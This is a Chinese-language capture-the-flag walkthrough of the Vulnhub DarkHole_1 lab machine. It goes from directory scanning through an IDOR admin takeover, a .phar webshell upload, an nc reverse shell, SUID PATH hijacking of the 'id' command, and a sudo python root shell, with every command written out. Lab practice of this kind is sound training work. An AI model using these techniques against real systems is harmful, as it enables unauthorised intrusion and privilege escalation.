DarkHole_1

Vulnhub靶机其实都差不多,前面的相似步骤就不在讲解了,直接开始

渗透环境

攻击机:kali
IP:192.168.247.129
靶机:DarkHole_1
IP:192.168.247.130

扫描目录

┌──(root?kali)-[/home/kali] └─# dirb http://192.168.247.130

---- Scanning URL: http://192.168.247.130/ ----
==> DIRECTORY: http://192.168.247.130/config/
==> DIRECTORY: http://192.168.247.130/css/

  • http://192.168.247.130/index.php (CODE:200|SIZE:810)
    ==> DIRECTORY: http://192.168.247.130/js/
  • http://192.168.247.130/server-status (CODE:403|SIZE:280)
    ==> DIRECTORY: http://192.168.247.130/upload/

有/config、/css、/index.php、/js、/upload这几个文件
访问一下http://192.168.247.130
在这里插入图片描述
发现是个注册页面在这里插入图片描述先注册一个在这里插入图片描述
发现这个页面,看来又逻辑漏洞,利用burpsuite试一下

逻辑漏洞

在这里插入图片描述
一般,id=1是admin用户,把id=4改成id=1试一下,看看可以成功否
在这里插入图片描述
有戏
在这里插入图片描述
发包,进入admin用户,密码为:1

文件上传漏洞

这个文件上传就是很奇特,只能上传gif/jpg/png,但是上传上去的木马,都连不上AntSword
这里就不过多的展示失败的结果,直接把后缀改成.phar就可以了
在这里插入图片描述
成功连接中国蚁剑,这个时候上传大木马

┌──(root?kali)-[/usr/share/webshells/php] └─# ls
130 ⨯ findsocket hack.phar php-backdoor.php qsd-php-backdoor.php
simple-backdoor.php

kali中的webshell在/usr/share/webshells/php中

文件上传,在AntSword中也可以改你想要的参数
在这里插入图片描述
这个时候,可以使用kali监听

输入:nc -lvp 1234

在这里插入图片描述
反弹成功,进行bashshell

输入:python3 -c ‘import pty;pty.spawn("/bin/bash")’

在这里插入图片描述
成功,查看id

www-data@darkhole:/$ id
id
uid=33(www-data) gid=33(www-data)
groups=33(www-data)

suid提权

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/at
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/home/john/toto
/snap/snapd/14295/usr/lib/snapd/snap-confine
/snap/snapd/12398/usr/lib/snapd/snap-confine
/snap/core18/2284/bin/mount
/snap/core18/2284/bin/ping
/snap/core18/2284/bin/su
/snap/core18/2284/bin/umount
/snap/core18/2284/usr/bin/chfn
/snap/core18/2284/usr/bin/chsh
/snap/core18/2284/usr/bin/gpasswd
/snap/core18/2284/usr/bin/newgrp
/snap/core18/2284/usr/bin/passwd
/snap/core18/2284/usr/bin/sudo
/snap/core18/2284/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2284/usr/lib/openssh/ssh-keysign
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign

发现有个/home/john/toto
切换到john目录中:执行toto,可以发现返回信息和id命令一致

www-data@darkhole:/home/john$ ./toto
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)

猜测toto文件的功能就是查询用户的uid gid等参数,与命令id功能相同,现在我们新建一个假的id命令,在id文件中写入/bin/bash字段,生成一个shell,从而达到提权的目的

命令劫持提取

尝试将命令劫持,写一个id命令脚本,加入到环境变量PATH中

cd /tmp
touch id 
echo "/bin/bash" > id
chmod 777 id
export PATH=/tmp:$PATH
cd /home/john
./toto

现在进入john用户中

输入:ls
john@darkhole:/home/john$ ls
ls
file.py password toto user.txt

发现几个文件

john@darkhole:/home/john$ cat password
cat password
root123

这个时候发现这个应该是进入root用户的密码

john@darkhole:/home/john$ echo ‘import pty;pty.spawn("/bin/bash")’ >file.py
echo ‘import pty;pty.spawn("/bin/bash")’ > file.py
john@darkhole:/home/john$ cat file.py
cat file.py
import pty;pty.spawn("/bin/bash")

进行提取

输入:python3 /home/john/file.py

john@darkhole:/home/john$ sudo python3 /home/john/file.py
sudo python3 /home/john/file.py
[sudo] password for john: root123
root@darkhole:/home/john# ls
ls
file.py  password  toto  user.txt
root@darkhole:/home/john# cat user.txt    
cat user.txt
DarkHole{You_Can_DO_It}
root@darkhole:/home/john# cd root
cd root
bash: cd: root: No such file or directory
root@darkhole:/home/john# cd /root
cd /root
root@darkhole:~# ls
ls
root.txt  snap
root@darkhole:~# cat root.txt
cat root.txt
DarkHole{You_Are_Legend}
root@darkhole:~# 

ok!

总结

本次靶机主要运用的是:
1)逻辑漏洞
2)文件上床漏洞
3)系统的配置漏洞的最终提取

理想的人物不仅要在物质上需要的满足,还要在精神旨趣的满足上得到表现。——黑格尔

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>